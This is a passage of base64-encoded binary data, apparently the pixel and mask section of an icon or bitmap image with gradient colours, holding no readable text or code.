UQH/sG4G/6N6Ef+cfyL/mIM9/5SHYv+TiIn/m4Gx/6d20/+5Zuz/yVj4/9NP/e7LS/6cglL/Uzxb/0Qo + XP89GFz/Ng1a/zMHWP8xBlf/LwVU/y0FUf8sBU7/KgVM/ykFSP8nBUX/JgVD/yUFQP8jBj7/IgY7/yIH + Ov8hBzj/IAY2/x8GNf8eBTT/HQUz/xwEMv8bBDH/GgMw/xoDL/8aAy7/GQMu/xkDLf8YAyz/GAMs/xgC + K/8XAir/FgIp/xUCKP8UAib/FAIk/xMCIv8RAh//DwEd/yYQJf6lWGL7+4mO9f+Jku7/hpPk/4KX1f96 + n77/baqg/1+2ff9OxVj/Rc42/0TPH/9HzBD/TsYH/1PBAv93ogD//wAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/gRAD/vGMD/6l0Cv+cgBT/kokm/4qQQ/+JkWj/kYqT/599vf+0 + a+D/xVz0/9FR/P/ZSv7200n/pYlS/1Y8XP9BH17/OxNd/zYLXP80B1v/MgZZ/zAGVv8vBVP/LQVR/ywF + Tf8rBUv/KQRI/ycERv8mBEP/JQRB/yMEP/8jBD3/IgQ8/yEEOv8gAzn/HwM3/x4DNv8dAzX/HQM0/xwD + M/8cAzL/HAMx/xsDMP8aAy//GgIu/xkCLv8ZAiz/FwIr/xYDKf8VAif/FAIl/xMCIv8PAR//NRcv/qpT + bfv7daD0/26q6v9sq9z/barM/22qtf9prZr/YLV6/1XAWv9Ezjv/ONoh/zLfEf8t4wf/KecC/y3kAP95 + oAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//FwD/0lEB/7BuBP+W + hQn/ipEU/4KXKf+ElUr/j4t2/55+pf+zbND/w17s/85T+P/WTPz/2kn++9dJ/7ycUf9jQ1v/Pxpe/zkO + Xf82CF3/NAZc/zMGWv8xBlf/MAZV/y8FUv8tBVD/LAVO/ysES/8pBEj/JwRG/yYERP8lBEL/JARB/yME + P/8iAz7/IgM8/yEDOv8gAzn/HwQ4/x4EN/8eAzb/HQM0/x0DM/8bAzL/GwMx/xoCMP8ZAy7/GAMt/xcD + K/8WAin/EwEl/xMCI/9NJzn+wmV2+/1wqPX/Xbno/1PB1/9Sw8H/Vb+p/1q7jf9cuW//V71S/07FOP8/ + 0yL/MeAR/ybqCP8W+AP/CP8B/zjaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP/GVwD/8DcA/71jAf+QiwP/gpgK/4CZGf+HkzT/k4hd/6F8jf+zbLz/wGDf/8lX8f/R + Ufn/1U38/9dM/v7UTv7VrFP+gFlb/0QbXv83Cl7/NgZe/zUGXP8zBlr/MgZY/zEGVv8wBlX/LgVS/y0F + T/8rBUz/KgVL/ykFSf8oBUf/JwVF/yYEQ/8lBEL/JARB/yMEP/8iBD3/IQQ7/yEEOv8gAzr/HwM4/x4D + Nv8dAzX/HAMz/xsDMv8aAy//GQMt/xcDLP8UASn/JhEr/3pORP3dg3b7/36c9f9et+r/ScvX/z7Uvf87 + 16H/P9OC/0fMZP9Oxkn/TsUx/0nKH/871xH/K+UI/xn1Av8M/wH/Df8AAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/7TkA/71jAP92ogD/e50E/4OXD/+N + jiT/mIRG/6J7cf+wbqH/uWbI/8Fg4f/HWu//y1b2/8xV+v/JWPv/xlz777Jg/K13Yf1aLF/+OQte/zQE + Xv80BV3/NAZc/zMGW/8yBVj/MAVV/y8FU/8tBVD/LAVP/ywFTf8qBUv/KQVK/ygFSP8nBEb/JwRE/yUE + Qv8kBEH/IwQ//yIDPv8iAzz/IAM6/yADOf8eAzf/HQM1/xwDM/8aAjH/FwEu/x8KLf9SNzT+uIxK/vWv + Z/v/m4T2/3mg7P9Wvtz/PdXB/y/hof8p54H/KuZg/zHgQ/871yv/P9Mb/z3VD/8x3wf/H/AD/xH9Af8N + /wD/D/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP/oPwD/iJIC/46NCf+Uhxf/nIAw/6N6Uv+scnz/sW2l/7Vpw/+6Zdj/vWPm/7xk7v+2 + afH/rm/0/6xz9/2scfrhmWv8kFVl/lcjYv44CF//MwRe/zQFXf8zBVv/MgVZ/zEFVv8vBVX/LwVT/y4F + Uf8sBU//LAVN/yoES/8pBEr/KARI/ycERv8lBEX/JQRC/yMEQf8jBD//IgQ9/yAEO/8fBDn/HAI2/xkA + NP8lCzP/UzU5/qR/RP7vwk/+/8tX/P+8Zfj/oXzv/4GY4P9cucj/P9So/yzkhP8g7mP/HfJE/yDvKv8n + 6Bj/LeMN/y7jBv8g8AL/Cv8B/wX/AP8N/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9WvwD/qnMA/5qDBP+bgQ3/oH0c/6J7NP+o + dlX/qXV6/6p0mv+scrX/rXHI/6l11f+gfd3/l4Xj/5OJ6f+XhfH/nn/3/KF5+tmIdPyfWWv9azJj/j8O + Xv8zBVz/MgZa/zEFWf8wBVf/MAVW/y8FVP8uBVL/LQVQ/ywFTv8qBE3/KgVK/ygESP8nBEb/JgVE/yQE + Q/8jA0D/IgM+/yAEPP8gBTr/Nxg7/2lDQ/6mdk796bFZ/P/JWfv/zFX7/8tW+f/BYPT/q3Ln/4+L0v9r + rLP/SsmO/zPeaf8h7kn/GPYv/xX4G/8X9w3/GvQG/xT7Av8O/wH/Df8A/w7/AAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/1kwA/6R5Af+jegX/pHkN/6N6G/+mdzH/o3pM/6F8af+gfIT/nn6b/5aFrP+LkLj/gZjE/36b0f+D + lt//iZHq/4yO8f+RjPX/l4X46JJ2+8aCZ/2XYV3+ZTVa/kUYWv87D1n/NQpX/zAHVf8rA1P/KgFS/ykB + UP8nAU7/JgFM/yQBSv8mA0f/KQdF/ywKQ/8wD0H/PRxB/2NARP6fc0z+0ZpX/e+tYvv/uWr4/7ho9f+9 + Y/T/xlv0/8lY8//EXez/tWrb/6B9wP9/mpn/X7dw/0PQTP8q5jH/GvUd/xD+D/8P/wb/Df8C/w7/Af8Q + /wD/D/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/xFwA/8FfAP+qcwH/pncF/6F7C/+hexf/nIAo/5eFPP+T + iFH/jY1m/4KXeP90o4j/baqZ/22qrv9zpcP/dqLU/3Wj3v90pOX/e53s/5CN8/+nefj7tGj787Zf/eCl + Xv3AhWD+nmZd/odVWv9pPVX/ZjxS/2Y9UP9lPU7/ZD1N/2M9S/9xTEn/iGNI/6F7SP/FnEv+5bZR/fS9 + Wfz+u2P6/7Vs9/+qdfL/pXjs/6d25v+wbuP/vGTk/8Rc4//DXdv/umXG/6tzp/+Rinz/daNU/1m8Nf87 + 1x//Ie4Q/w//B/8P/wL/D/8B/w//AP8P/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/6xyAP/f + RAD/o3oB/5OIA/+OjAj/ipAQ/4WVG/9/min/dqI3/2muR/9euFj/XLpu/2C2h/9msZ//ZLKz/164v/9Z + vMn/YLbU/3ei4f+Qi+z/pXj0/7Bv+P+wb/r/rXL7/65w/P+3aP3/w139/8xV/v/PVP//z1P//89S/v/R + Uf7/00/+/9NO/v/SUP3/zVT8/8Vc+v+5Z/b/qnTw/51/6f+TiOD/kIvV/5WGzP+he8b/sG7F/7tkxf++ + Ybv/umWl/69vhf+cgF3/hZU6/22rIv9NxxL/KuYI/w7/A/8P/wH/D/8A/w//AAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP/JWAD/o3oA/4GYAP+HkwL/fZwF/3OlC/9tqhL/ZLIa/1i9Jf9S + wzX/Vb9J/1u6Yf9et3j/WL2L/07Gl/9Iy6P/UMSy/2ivxv+BmNj/lYbl/51/7f+agvD/lobz/5mC9f+l + ePj/tWr6/79g/P/BX/z/wV/8/8Je+//GWvv/ylf7/8tW+//JWPn/w132/7lm8P+rcuj/moLd/4uP0f+A + mcL/f5qz/4eTpv+Whp7/p3ac/7Vpmv+7ZJH/umV7/7RrXv+mdz7/lIcj/36bE/9gtgn/OdkD/w3/Af8P + /wD/D/8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/4qQAP+V + hQD/d6EB/2K0A/9auwX/U8IJ/0vJEP9Nxxv/Vb8q/1u7PP9au07/UMRd/0PQZ/881nP/R8yE/2C2nf94 + oLb/iJLJ/4yO1P+FlNn/gJne/4WV4/+Tier/pHnv/65w8v+vb/P/rnDy/7Bu8v+3aPP/vmLz/8Bg8v+9 + Yu3/t2fm/65w2v+hfMz/j4y7/36bqf9xp5b/cKeE/3uedv+Njm7/ontr/7NrZ/+8Y1//vmJO/7tkOP+y + bCH/pXgS/5WGCP97nQP/U8EB/wb/AP8P/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP+LjwD/ep4A/0nKAP8/0wH/PNcC/0LRBv9Nxwz/V74W/1q7If9W + vyz/SMs2/zrYPv813Ef/Q9BY/124cf9xpoz/fZyh/3ydrf9zpbT/a6y7/3CnxP9/ms7/kIrY/5uB3f+b + gd3/mYPc/51/3f+odt//sW3g/7Rq3f+ybNX/rHLI/6R5tv+Yg6T/h5OP/3Wjev9lsmb/YrRV/26qSf+D + lkH/nYA9/7NsOv+/YTT/w10p/8NdHP++YQ//uGYH/7VpAv+pdQH/7jYA/wz/AAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/0zHAP9y + rgD/D/8A/zrYAf9KygX/U8IJ/1LCD/9KyhX/O9cb/y7iIP8u4if/QdI0/1q7Sf9qrWD/cKhy/2qtfv9e + uIX/Vr+N/1y6mP9rrKX/fJ2x/4WVuP+Flbj/hJa3/4mQuP+XhL3/o3nA/6h2u/+nd6//oXuc/5mDh/+P + i3P/f5pf/2usTf9Xvjz/T8Uv/1q7Jv9xph//kYoc/61xGf+/YRX/x1kQ/8pXCv/PUwX/008B/+c+AP+n + dgD/v2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8A/wD/H/AA/zTdAP852AH/ScoC/0nLBf8+1Aj/L+IK/yXqDv8r + 5hL/Q9Ab/1q7Kf9lsjn/ZrFG/1y5UP9OxVX/Rs1d/0zIaP9bunT/a6x//3Skhv90pIf/dKSG/3ydiP+M + jo//moKT/6B9jf+ffYD/moJs/5OIV/+Lj0X/fJ02/2ewKv9Oxh7/QNIW/0fMEP9etwz/gpgK/6V4CP/D + XQb/1k0F/9xIA//fRQH/+y4A/9JQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/zrYAP9R + xAD/I+sA/z7VAf852QH/HvED/xn1Bf8p5wf/Rc4M/1m8FP9htR3/Xbgl/1HDK/9B0S//Otg2/0HSPv9P + xEf/X7dQ/2evVf9nr1b/aa1W/3OlWf+ElWD/lIdi/5uBXf+cgFH/l4RA/5GKMP+JkCP/e54a/2awE/9J + yw3/M94I/zTdBv9GzQT/cKcC/59+Af/VTgH/3kYB/99FAP/SUAD/3UcAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/KeYA/z7VAP9KygD/BP8A/w7/Af8n6QL/T8YD/1y5B/9f + tgv/V70O/0jLEf842RT/Md8Y/znYHf9JyyL/WL0n/2C2Kv9htSv/ZbIr/3CnLv+ElTP/lIY1/51/Mv+f + fSr/nIAf/5WGFf+Piw7/gpgJ/2qtBv9KygT/I+wC/xb4Af8Z9gD/aLAA/7VrAP/UTwD/3UcA/91HAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8P + /wD/D/8A/xH9AP97nwD/dqMA/2ewAf9auwL/SskE/zjZBf8r5gb/JesI/y7iCv9B0gz/UMQO/1a/EP9X + vhH/XrgR/26pEv+ElRX/loUW/6B8FP+jehH/onoM/6J7Bv+cgAP/k4gC/4CZAf9vqgD/AP8A/1e9AP8m + 6gD/a6wA/6p0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8h7gD/UcMA/1y5AP8A/wD/C/8A/w3/Af8O + /wH/Dv8C/xX6Av8m6QP/N9sE/z7VBP9A0gT/TMcE/2K0Bf95oAb/jY4G/5yABf+jegT/p3YD/6h2Af+1 + agD/hZYA/2muAP9KygD/GfUA/w7/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP8P/wD/D/8A/w//AP8P/wD/D/8A/wv/AP8A/wD/FPsA/0TQAP9C0QD/QNIA/2utAf97 + nwH/ipEB/51/Af+wbgD//ygA/6d2AP+vbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8P/wD/D/8A/w//AP8N + /wD/JewA/0LRAP9C0QD/Rc4A/2ivAP96nwD/i5AA/52AAP+rcgD/0lAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////// + /////////////////////////////////////////////////////////////////////////AAH//// + ////////wAAA///////////8AAAAD//////////wAAAAA//////////gAAAAAf/////////AAAAAAH// + 